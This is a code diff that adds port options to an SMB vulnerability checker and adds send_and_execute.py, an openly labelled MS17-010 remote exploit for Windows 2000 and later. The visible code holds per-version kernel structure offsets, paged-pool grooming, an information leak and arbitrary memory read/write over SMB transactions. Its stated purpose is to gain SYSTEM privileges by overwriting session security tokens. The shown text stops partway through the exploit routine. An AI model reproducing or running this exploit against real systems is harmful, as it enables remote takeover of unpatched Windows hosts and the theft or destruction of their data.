diff --git a/checker.py b/checker.py
index 4bc6793..a370a74 100644
--- a/checker.py
+++ b/checker.py
@@ -31,13 +31,21 @@
 }
 
 
-if len(sys.argv) != 2:
-	print("{} <ip>".format(sys.argv[0]))
+if len(sys.argv) < 2:
+	print("{} <ip> [port]".format(sys.argv[0]))
 	sys.exit(1)
 
 target = sys.argv[1]
+port = 445
 
-conn = MYSMB(target)
+try:
+	if sys.argv[2] != '':
+		port = int(sys.argv[2])
+except:
+	pass
+
+print('Trying to connect to %s:%d' % (target, port))
+conn = MYSMB(target, port)
 try:
 	conn.login(USERNAME, PASSWORD)
 except smb.SessionError as e:
diff --git a/mysmb.py b/mysmb.py
index fa42ce6..37c13b0 100644
--- a/mysmb.py
+++ b/mysmb.py
@@ -104,7 +104,7 @@ def _setup_login_packet_hook(maxBufferSize):
 
 
 class MYSMB(smb.SMB):
-	def __init__(self, remote_host, use_ntlmv2=True, timeout=8):
+	def __init__(self, remote_host, remote_port=445, use_ntlmv2=True, timeout=8):
 		self.__use_ntlmv2 = use_ntlmv2
 		self._default_tid = 0
 		self._pid = os.getpid() & 0xffff
@@ -115,7 +115,7 @@ def __init__(self, remote_host, use_ntlmv2=True, timeout=8):
 		self._last_tid = 0  # last tid from connect_tree()
 		self._last_fid = 0  # last fid from nt_create_andx()
 		self._smbConn = None
-		smb.SMB.__init__(self, remote_host, remote_host, timeout=timeout)
+		smb.SMB.__init__(self, remote_host, remote_host, sess_port=remote_port, timeout=timeout)
 
 	def set_pid(self, pid):
 		self._pid = pid
diff --git a/mysmb.pyc b/mysmb.pyc
new file mode 100644
index 0000000..633e8cc
Binary files /dev/null and b/mysmb.pyc differ
diff --git a/send_and_execute.py b/send_and_execute.py
new file mode 100644
index 0000000..de5d811
--- /dev/null
+++ b/send_and_execute.py
@@ -0,0 +1,1079 @@
+#!/usr/bin/python
+from impacket import smb, smbconnection
+from mysmb import MYSMB
+from struct import pack, unpack, unpack_from
+import sys
+import socket
+import time
+import string
+import random
+import os.path
+
+'''
+MS17-010 exploit for Windows 2000 and later by sleepya
+
+Note:
+- The exploit should never crash a target (chance should be nearly 0%)
+- The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed
+
+Tested on:
+- Windows 2016 x64
+- Windows 10 Pro Build 10240 x64
+- Windows 2012 R2 x64
+- Windows 8.1 x64
+- Windows 2008 R2 SP1 x64
+- Windows 7 SP1 x64
+- Windows 2008 SP1 x64
+- Windows 2003 R2 SP2 x64
+- Windows XP SP2 x64
+- Windows 8.1 x86
+- Windows 7 SP1 x86
+- Windows 2008 SP1 x86
+- Windows 2003 SP2 x86
+- Windows XP SP3 x86
+- Windows 2000 SP4 x86
+'''
+
+USERNAME = ''
+PASSWORD = ''
+
+'''
+A transaction with empty setup:
+- it is allocated from paged pool (same as other transaction types) on Windows 7 and later
+- it is allocated from private heap (RtlAllocateHeap()) with no on use it on Windows Vista and earlier
+- no lookaside or caching method for allocating it
+
+Note: method name is from NSA eternalromance
+
+For Windows 7 and later, it is good to use matched pair method (one is large pool and another one is fit
+for freed pool from large pool). Additionally, the exploit does the information leak to check transactions
+alignment before doing OOB write. So this exploit should never crash a target against Windows 7 and later.
+
+For Windows Vista and earlier, matched pair method is impossible because we cannot allocate transaction size
+smaller than PAGE_SIZE (Windows XP can but large page pool does not split the last page of allocation). But
+a transaction with empty setup is allocated on private heap (it is created by RtlCreateHeap() on initialing server).
+Only this transaction type uses this heap. Normally, no one uses this transaction type. So transactions alignment
+in this private heap should be very easy and very reliable (fish in a barrel in NSA eternalromance). The drawback
+of this method is we cannot do information leak to verify transactions alignment before OOB write.
+So this exploit has a chance to crash target same as NSA eternalromance against Windows Vista and earlier.
+'''
+
+'''
+Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext()
+win7 x64
+struct SrvSecContext {
+	DWORD xx1; // second WORD is size
+	DWORD refCnt;
+	PACCESS_TOKEN Token;  // 0x08
+	DWORD xx2;
+	BOOLEAN CopyOnOpen; // 0x14
+	BOOLEAN EffectiveOnly;
+	WORD xx3;
+	DWORD ImpersonationLevel; // 0x18
+	DWORD xx4;
+	BOOLEAN UsePsImpersonateClient; // 0x20
+}
+win2012 x64
+struct SrvSecContext {
+	DWORD xx1; // second WORD is size
+	DWORD refCnt;
+	QWORD xx2;
+	QWORD xx3;
+	PACCESS_TOKEN Token;  // 0x18
+	DWORD xx4;
+	BOOLEAN CopyOnOpen; // 0x24
+	BOOLEAN EffectiveOnly;
+	WORD xx3;
+	DWORD ImpersonationLevel; // 0x28
+	DWORD xx4;
+	BOOLEAN UsePsImpersonateClient; // 0x30
+}
+
+SrvImpersonateSecurityContext() is used in Windows Vista and later before doing any operation as logged on user.
+It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true. 
+From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL,
+PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns
+STATUS_SUCCESS when Token is NULL.
+If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM)
+to do all SMB operations.
+Note: for Windows 2003 and earlier, the exploit modify token user and groups in PCtxtHandle to get SYSTEM because only
+  ImpersonateSecurityContext() is used in these Windows versions.
+'''
+###########################
+# info for modify session security context
+###########################
+WIN7_64_SESSION_INFO = {
+	'SESSION_SECCTX_OFFSET': 0xa0,
+	'SESSION_ISNULL_OFFSET': 0xba,
+	'FAKE_SECCTX': pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),
+	'SECCTX_SIZE': 0x28,
+}
+
+WIN7_32_SESSION_INFO = {
+	'SESSION_SECCTX_OFFSET': 0x80,
+	'SESSION_ISNULL_OFFSET': 0x96,
+	'FAKE_SECCTX': pack('<IIIIIIB', 0x1c022a, 1, 0, 0, 2, 0, 1),
+	'SECCTX_SIZE': 0x1c,
+}
+
+# win8+ info
+WIN8_64_SESSION_INFO = {
+	'SESSION_SECCTX_OFFSET': 0xb0,
+	'SESSION_ISNULL_OFFSET': 0xca,
+	'FAKE_SECCTX': pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),
+	'SECCTX_SIZE': 0x38,
+}
+
+WIN8_32_SESSION_INFO = {
+	'SESSION_SECCTX_OFFSET': 0x88,
+	'SESSION_ISNULL_OFFSET': 0x9e,
+	'FAKE_SECCTX': pack('<IIIIIIIIB', 0x24022a, 1, 0, 0, 0, 0, 2, 0, 1),
+	'SECCTX_SIZE': 0x24,
+}
+
+# win 2003 (xp 64 bit is win 2003)
+WIN2K3_64_SESSION_INFO = {
+	'SESSION_ISNULL_OFFSET': 0xba,
+	'SESSION_SECCTX_OFFSET': 0xa0,  # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
+	'SECCTX_PCTXTHANDLE_OFFSET': 0x10,  # PCtxtHandle is at offset 0x8 but only upperPart is needed
+	'PCTXTHANDLE_TOKEN_OFFSET': 0x40,
+	'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
+	'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
+}
+
+WIN2K3_32_SESSION_INFO = {
+	'SESSION_ISNULL_OFFSET': 0x96,
+	'SESSION_SECCTX_OFFSET': 0x80,  # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
+	'SECCTX_PCTXTHANDLE_OFFSET': 0xc,  # PCtxtHandle is at offset 0x8 but only upperPart is needed
+	'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
+	'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
+	'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
+}
+
+# win xp
+WINXP_32_SESSION_INFO = {
+	'SESSION_ISNULL_OFFSET': 0x94,
+	'SESSION_SECCTX_OFFSET': 0x84,  # PCtxtHandle is at offset 0x80 but only upperPart is needed
+	'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
+	'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
+	'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
+	'TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1': 0x40,
+	'TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1': 0x5c
+}
+
+WIN2K_32_SESSION_INFO = {
+	'SESSION_ISNULL_OFFSET': 0x94,
+	'SESSION_SECCTX_OFFSET': 0x84,  # PCtxtHandle is at offset 0x80 but only upperPart is needed
+	'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
+	'TOKEN_USER_GROUP_CNT_OFFSET': 0x3c,
+	'TOKEN_USER_GROUP_ADDR_OFFSET': 0x58,
+}
+
+###########################
+# info for exploitation
+###########################
+# for windows 2008+
+WIN7_32_TRANS_INFO = {
+	'TRANS_SIZE' : 0xa0,  # struct size
+	'TRANS_FLINK_OFFSET' : 0x18,
+	'TRANS_INPARAM_OFFSET' : 0x40,
+	'TRANS_OUTPARAM_OFFSET' : 0x44,
+	'TRANS_INDATA_OFFSET' : 0x48,
+	'TRANS_OUTDATA_OFFSET' : 0x4c,
+	'TRANS_PARAMCNT_OFFSET' : 0x58,
+	'TRANS_TOTALPARAMCNT_OFFSET' : 0x5c,
+	'TRANS_FUNCTION_OFFSET' : 0x72,
+	'TRANS_MID_OFFSET' : 0x80,
+}
+
+WIN7_64_TRANS_INFO = {
+	'TRANS_SIZE' : 0xf8,  # struct size
+	'TRANS_FLINK_OFFSET' : 0x28,
+	'TRANS_INPARAM_OFFSET' : 0x70,
+	'TRANS_OUTPARAM_OFFSET' : 0x78,
+	'TRANS_INDATA_OFFSET' : 0x80,
+	'TRANS_OUTDATA_OFFSET' : 0x88,
+	'TRANS_PARAMCNT_OFFSET' : 0x98,
+	'TRANS_TOTALPARAMCNT_OFFSET' : 0x9c,
+	'TRANS_FUNCTION_OFFSET' : 0xb2,
+	'TRANS_MID_OFFSET' : 0xc0,
+}
+
+WIN5_32_TRANS_INFO = {
+	'TRANS_SIZE' : 0x98,  # struct size
+	'TRANS_FLINK_OFFSET' : 0x18,
+	'TRANS_INPARAM_OFFSET' : 0x3c,
+	'TRANS_OUTPARAM_OFFSET' : 0x40,
+	'TRANS_INDATA_OFFSET' : 0x44,
+	'TRANS_OUTDATA_OFFSET' : 0x48,
+	'TRANS_PARAMCNT_OFFSET' : 0x54,
+	'TRANS_TOTALPARAMCNT_OFFSET' : 0x58,
+	'TRANS_FUNCTION_OFFSET' : 0x6e,
+	'TRANS_PID_OFFSET' : 0x78,
+	'TRANS_MID_OFFSET' : 0x7c,
+}
+
+WIN5_64_TRANS_INFO = {
+	'TRANS_SIZE' : 0xe0,  # struct size
+	'TRANS_FLINK_OFFSET' : 0x28,
+	'TRANS_INPARAM_OFFSET' : 0x68,
+	'TRANS_OUTPARAM_OFFSET' : 0x70,
+	'TRANS_INDATA_OFFSET' : 0x78,
+	'TRANS_OUTDATA_OFFSET' : 0x80,
+	'TRANS_PARAMCNT_OFFSET' : 0x90,
+	'TRANS_TOTALPARAMCNT_OFFSET' : 0x94,
+	'TRANS_FUNCTION_OFFSET' : 0xaa,
+	'TRANS_PID_OFFSET' : 0xb4,
+	'TRANS_MID_OFFSET' : 0xb8,
+}
+
+X86_INFO = {
+	'ARCH' : 'x86',
+	'PTR_SIZE' : 4,
+	'PTR_FMT' : 'I',
+	'FRAG_TAG_OFFSET' : 12,
+	'POOL_ALIGN' : 8,
+	'SRV_BUFHDR_SIZE' : 8,
+}
+
+X64_INFO = {
+	'ARCH' : 'x64',
+	'PTR_SIZE' : 8,
+	'PTR_FMT' : 'Q',
+	'FRAG_TAG_OFFSET' : 0x14,
+	'POOL_ALIGN' : 0x10,
+	'SRV_BUFHDR_SIZE' : 0x10,
+}
+
+def merge_dicts(*dict_args):
+	result = {}
+	for dictionary in dict_args:
+		result.update(dictionary)
+	return result
+
+OS_ARCH_INFO = {
+	# for Windows Vista, 2008, 7 and 2008 R2
+	'WIN7': {
+		'x86': merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN7_32_SESSION_INFO),
+		'x64': merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN7_64_SESSION_INFO),
+	},
+	# for Windows 8 and later
+	'WIN8': {
+		'x86': merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN8_32_SESSION_INFO),
+		'x64': merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN8_64_SESSION_INFO),
+	},
+	'WINXP': {
+		'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WINXP_32_SESSION_INFO),
+		'x64': merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO),
+	},
+	'WIN2K3': {
+		'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K3_32_SESSION_INFO),
+		'x64': merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO),
+	},
+	'WIN2K': {
+		'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K_32_SESSION_INFO),
+	},
+}
+
+
+TRANS_NAME_LEN = 4
+HEAP_HDR_SIZE = 8  # heap chunk header size
+
+
+def calc_alloc_size(size, align_size):
+	return (size + align_size - 1) & ~(align_size-1)
+
+def wait_for_request_processed(conn):
+	#time.sleep(0.05)
+	# send echo is faster than sleep(0.05) when connection is very good
+	conn.send_echo('a')
+
+def find_named_pipe(conn):
+	pipes = [ 'browser', 'spoolss', 'netlogon', 'lsarpc', 'samr' ]
+	
+	tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
+	found_pipe = None
+	for pipe in pipes:
+		try:
+			fid = conn.nt_create_andx(tid, pipe)
+			conn.close(tid, fid)
+			found_pipe = pipe
+			break
+		except smb.SessionError as e:
+			pass
+	
+	conn.disconnect_tree(tid)
+	return found_pipe
+
+
+special_mid = 0
+extra_last_mid = 0
+def reset_extra_mid(conn):
+	global extra_last_mid, special_mid
+	special_mid = (conn.next_mid() & 0xff00) - 0x100
+	extra_last_mid = special_mid
+	
+def next_extra_mid():
+	global extra_last_mid
+	extra_last_mid += 1
+	return extra_last_mid
+
+
+# Borrow 'groom' and 'bride' word from NSA tool
+# GROOM_TRANS_SIZE includes transaction name, parameters and data
+# Note: the GROOM_TRANS_SIZE size MUST be multiple of 16 to make FRAG_TAG_OFFSET valid
+GROOM_TRANS_SIZE = 0x5010
+
+def leak_frag_size(conn, tid, fid):
+	# this method can be used on Windows Vista/2008 and later
+	# leak "Frag" pool size and determine target architecture
+	info = {}
+	
+	# A "Frag" pool is placed after the large pool allocation if last page has some free space left.
+	# A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version.
+	# To make exploit more generic, exploit does info leak to find a "Frag" pool size.
+	# From the leak info, we can determine the target architecture too.
+	mid = conn.next_mid()
+	req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-TRANS_NAME_LEN)
+	req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes
+	
+	conn.send_raw(req1[:-8])
+	conn.send_raw(req1[-8:]+req2)
+	leakData = conn.recv_transaction_data(mid, 0x10d0+276)
+	leakData = leakData[0x10d4:]  # skip parameters and its own input
+	# Detect target architecture and calculate frag pool size
+	if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
+		print('Target is 32 bit')
+		info['arch'] = 'x86'
+		info['FRAG_POOL_SIZE'] = ord(leakData[ X86_INFO['FRAG_TAG_OFFSET']-2 ]) * X86_INFO['POOL_ALIGN']
+	elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
+		print('Target is 64 bit')
+		info['arch'] = 'x64'
+		info['FRAG_POOL_SIZE'] = ord(leakData[ X64_INFO['FRAG_TAG_OFFSET']-2 ]) * X64_INFO['POOL_ALIGN']
+	else:
+		print('Not found Frag pool tag in leak data')
+		sys.exit()
+	
+	print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE']))
+	return info
+
+
+def read_data(conn, info, read_addr, read_size):
+	fmt = info['PTR_FMT']
+	# modify trans2.OutParameter to leak next transaction and trans2.OutData to leak real data
+	# modify trans2.*ParameterCount and trans2.*DataCount to limit data
+	new_data = pack('<'+fmt*3, info['trans2_addr']+info['TRANS_FLINK_OFFSET'], info['trans2_addr']+0x200, read_addr)  # OutParameter, InData, OutData
+	new_data += pack('<II', 0, 0)  # SetupCount, MaxSetupCount
+	new_data += pack('<III', 8, 8, 8)  # ParamterCount, TotalParamterCount, MaxParameterCount
+	new_data += pack('<III', read_size, read_size, read_size)  # DataCount, TotalDataCount, MaxDataCount
+	new_data += pack('<HH', 0, 5)  # Category, Function (NT_RENAME)
+	conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET'])
+	
+	# create one more transaction before leaking data
+	# - next transaction can be used for arbitrary read/write after the current trans2 is done
+	# - next transaction address is from TransactionListEntry.Flink value
+	conn.send_nt_trans(5, param=pack('<HH', info['fid'], 0), totalDataCount=0x4300-0x20, totalParameterCount=0x1000)
+
+	# finish the trans2 to leak
+	conn.send_nt_trans_secondary(mid=info['trans2_mid'])
+	read_data = conn.recv_transaction_data(info['trans2_mid'], 8+read_size)
+	
+	# set new trans2 address
+	info['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - info['TRANS_FLINK_OFFSET']
+	
+	# set trans1.InData to &trans2
+	conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<'+fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET'])
+	wait_for_request_processed(conn)
+
+	# modify trans2 mid
+	conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
+	wait_for_request_processed(conn)
+	
+	return read_data[8:]  # no need to return parameter
+
+def write_data(conn, info, write_addr, write_data):
+	# trans2.InData
+	conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<'+info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET'])
+	wait_for_request_processed(conn)
+	
+	# write data
+	conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)
+	wait_for_request_processed(conn)
+
+
+def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
+	trans_param = pack('<HH', fid, 0)  # param for NT_RENAME
+	# fill large pagedpool holes (maybe no need)
+	for i in range(numFill):
+		conn.send_nt_trans(5, param=trans_param, totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0)
+
+	mid_ntrename = conn.next_mid()
+	# first GROOM, for leaking next BRIDE transaction
+	req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=info['GROOM_DATA_SIZE']-0x10d0)
+	req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276) # leak more 276 bytes
+	# second GROOM, for controlling next BRIDE transaction
+	req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE']-0x1000, maxParameterCount=0x1000)
+	# many BRIDEs, expect two of them are allocated at splitted pool from GROOM
+	reqs = []
+	for i in range(12):
+		mid = next_extra_mid()
+		reqs.append(conn.create_trans_packet('', mid=mid, param=trans_param, totalDataCount=info['BRIDE_DATA_SIZE']-0x200, totalParameterCount=0x200, maxDataCount=0, maxParameterCount=0))
+
+	conn.send_raw(req1[:-8])
+	conn.send_raw(req1[-8:]+req2+req3+''.join(reqs))
+	
+	# expected transactions alignment ("Frag" pool is not shown)
+	#
+	#    |         5 * PAGE_SIZE         |   PAGE_SIZE    |         5 * PAGE_SIZE         |   PAGE_SIZE    |
+	#    +-------------------------------+----------------+-------------------------------+----------------+
+	#    |    GROOM mid=mid_ntrename        |  extra_mid1 |         GROOM mid=fid            |  extra_mid2 |
+	#    +-------------------------------+----------------+-------------------------------+----------------+
+	#
+	# If transactions are aligned as we expected, BRIDE transaction with mid=extra_mid1 will be leaked.
+	# From leaked transaction, we get
+	# - leaked transaction address from InParameter or InData
+	# - transaction, with mid=extra_mid2, address from LIST_ENTRY.Flink
+	# With these information, we can verify the transaction aligment from displacement.
+
+	leakData = conn.recv_transaction_data(mid_ntrename, 0x10d0+276)
+	leakData = leakData[0x10d4:]  # skip parameters and its own input
+	#open('leak.dat', 'wb').write(leakData)
+
+	if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET']+4] != 'Frag':
+		print('Not found Frag pool tag in leak data')
+		return None
+	
+	# ================================
+	# verify leak data
+	# ================================
+	leakData = leakData[info['FRAG_TAG_OFFSET']-4+info['FRAG_POOL_SIZE']:]
+	# check pool tag and size value in buffer header
+	expected_size = pack('<H', info['BRIDE_TRANS_SIZE'])
+	leakTransOffset = info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE']
+	if leakData[0x4:0x8] != 'LStr' or leakData[info['POOL_ALIGN']:info['POOL_ALIGN']+2] != expected_size or leakData[leakTransOffset+2:leakTransOffset+4] != expected_size:
+		print('No transaction struct in leak data')
+		return None
+
+	leakTrans = leakData[leakTransOffset:]
+
+	ptrf = info['PTR_FMT']
+	_, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+ptrf*5, leakTrans, 8)
+	inparam_value = unpack_from('<'+ptrf, leakTrans, info['TRANS_INPARAM_OFFSET'])[0]
+	leak_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
+
+	print('CONNECTION: 0x{:x}'.format(connection_addr))
+	print('SESSION: 0x{:x}'.format(session_addr))
+	print('FLINK: 0x{:x}'.format(flink_value))
+	print('InParam: 0x{:x}'.format(inparam_value))
+	print('MID: 0x{:x}'.format(leak_mid))
+
+	next_page_addr = (inparam_value & 0xfffffffffffff000) + 0x1000
+	if next_page_addr + info['GROOM_POOL_SIZE'] + info['FRAG_POOL_SIZE'] + info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE'] + info['TRANS_FLINK_OFFSET'] != flink_value:
+		print('unexpected alignment, diff: 0x{:x}'.format(flink_value - next_page_addr))
+		return None
+	# trans1: leak transaction
+	# trans2: next transaction
+	return {
+		'connection': connection_addr,
+		'session': session_addr,
+		'next_page_addr': next_page_addr,
+		'trans1_mid': leak_mid,
+		'trans1_addr': inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN,
+		'trans2_addr': flink_value - info['TRANS_FLINK_OFFSET'],
+	}
+
+def exploit_matched_pairs(conn, pipe_name, info):
+	# for Windows 7/2008 R2 and later
+	
+	tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
+	conn.set_default_tid(tid)
+	# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
+	fid = conn.nt_create_andx(tid, pipe_name)
+	
+	info.update(leak_frag_size(conn, tid, fid))
+	# add os and arch specific exploit info
+	info.update(OS_ARCH_INFO[info['os']][info['arch']])
+	
+	# groom: srv buffer header
+	info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
+	print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE']))
+	# groom paramters and data is alignment by 8 because it is NT_TRANS
+	info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - info['TRANS_SIZE']  # alignment (4)
+
+	# bride: srv buffer header, pool header (same as pool align size), empty transaction name (4)
+	bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE']
+	info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'])
+	print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE']))
+	# bride paramters and data is alignment by 4 because it is TRANS
+	info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - TRANS_NAME_LEN - info['TRANS_SIZE']
+	
+	# ================================
+	# try align pagedpool and leak info until satisfy
+	# ================================
+	leakInfo = None
+	# max attempt: 10
+	for i in range(10):
+		reset_extra_mid(conn)
+		leakInfo = align_transaction_and_leak(conn, tid, fid, info)
+		if leakInfo is not None:
+			break
+		print('leak failed... try again')
+		conn.close(tid, fid)
+		conn.disconnect_tree(tid)
+		
+		tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
+		conn.set_default_tid(tid)
+		fid = conn.nt_create_andx(tid, pipe_name)
+
+	if leakInfo is None:
+		return False
+	
+	info['fid'] = fid
+	info.update(leakInfo)
+
+	# ================================
+	# shift transGroom.Indata ptr with SmbWriteAndX
+	# ================================
+	shift_indata_byte = 0x200
+	conn.do_write_andx_raw_pipe(fid, 'A'*shift_indata_byte)
+
+	# Note: Even the distance between bride transaction is exactly what we want, the groom transaction might be in a wrong place.
+	#       So the below operation is still dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
+	# maxParameterCount (0x1000), trans name (4), param (4)
+	indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info['SRV_BUFHDR_SIZE'] + 0x1000 + shift_indata_byte
+	indata_next_trans_displacement = info['trans2_addr'] - indata_value
+	conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET'])
+	wait_for_request_processed(conn)
+
+	# if the overwritten is correct, a modified transaction mid should be special_mid now.
+	# a new transaction with special_mid should be error.
+	recvPkt = conn.send_nt_trans(5, mid=special_mid, param=pack('<HH', fid, 0), data='')
+	if recvPkt.getNTStatus() != 0x10002:  # invalid SMB
+		print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
+		print('!!! Write to wrong place !!!')
+		print('the target might be crashed')
+		return False
+
+	print('success controlling groom transaction')
+
+	# NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly
+	# but this method make the transation never get freed
+	# I will avoid memory leak
+	
+	# ================================
+	# modify trans1 struct to be used for arbitrary read/write
+	# ================================
+	print('modify trans1 struct for arbitrary read/write')
+	fmt = info['PTR_FMT']
+	# use transGroom to modify trans2.InData to &trans1. so we can modify trans1 with trans2 data
+	conn.send_nt_trans_secondary(mid=fid, data=pack('<'+fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET'])
+	wait_for_request_processed(conn)
+
+	# modify
+	# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
+	# - trans1.InData to &trans2. so we can modify trans2 with trans1 data
+	conn.send_nt_trans_secondary(mid=special_mid, data=pack('<'+fmt*3, info['trans1_addr'], info['trans1_addr']+0x200, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET'])
+	wait_for_request_processed(conn)
+
+	# modify trans2.mid
+	info['trans2_mid'] = conn.next_mid()
+	conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
+	return True
+
+def exploit_fish_barrel(conn, pipe_name, info):
+	# for Windows Vista/2008 and earlier
+	
+	tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
+	conn.set_default_tid(tid)
+	# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
+	fid = conn.nt_create_andx(tid, pipe_name)
+	info['fid'] = fid
+
+	if info['os'] == 'WIN7' and 'arch' not in info:
+		# leak_frag_size() can be used against Windows Vista/2008 to determine target architecture
+		info.update(leak_frag_size(conn, tid, fid))
+	
+	if 'arch' in info:
+		# add os and arch specific exploit info
+		info.update(OS_ARCH_INFO[info['os']][info['arch']])
+		attempt_list = [ OS_ARCH_INFO[info['os']][info['arch']] ]
+	else:
+		# do not know target architecture
+		# this case is only for Windows 2003
+		# try offset of 64 bit then 32 bit because no target architecture
+		attempt_list = [ OS_ARCH_INFO[info['os']]['x64'], OS_ARCH_INFO[info['os']]['x86'] ]
+	
+	# ================================
+	# groom packets
+	# ================================
+	# sum of transaction name, parameters and data length is 0x1000
+	# paramterCount = 0x100-TRANS_NAME_LEN
+	print('Groom packets')
+	trans_param = pack('<HH', info['fid'], 0)
+	for i in range(12):
+		mid = info['fid'] if i == 8 else next_extra_mid()
+		conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0)	
+	
+	# expected transactions alignment
+	#
+	#    +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
+	#    |  mid=mid1 |  mid=mid2 |             |  mid=mid8 |  mid=fid  |  mid=mid9 | mid=mid10 | mid=mid11 |
+	#    +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
+	#                                                         trans1       trans2
+
+	# ================================
+	# shift transaction Indata ptr with SmbWriteAndX
+	# ================================
+	shift_indata_byte = 0x200
+	conn.do_write_andx_raw_pipe(info['fid'], 'A'*shift_indata_byte)
+	
+	# ================================
+	# Dangerous operation: attempt to control one transaction
+	# ================================
+	# Note: POOL_ALIGN value is same as heap alignment value
+	success = False
+	for tinfo in attempt_list:
+		print('attempt controlling next transaction on ' + tinfo['ARCH'])
+		HEAP_CHUNK_PAD_SIZE = (tinfo['POOL_ALIGN'] - (tinfo['TRANS_SIZE']+HEAP_HDR_SIZE) % tinfo['POOL_ALIGN']) % tinfo['POOL_ALIGN']
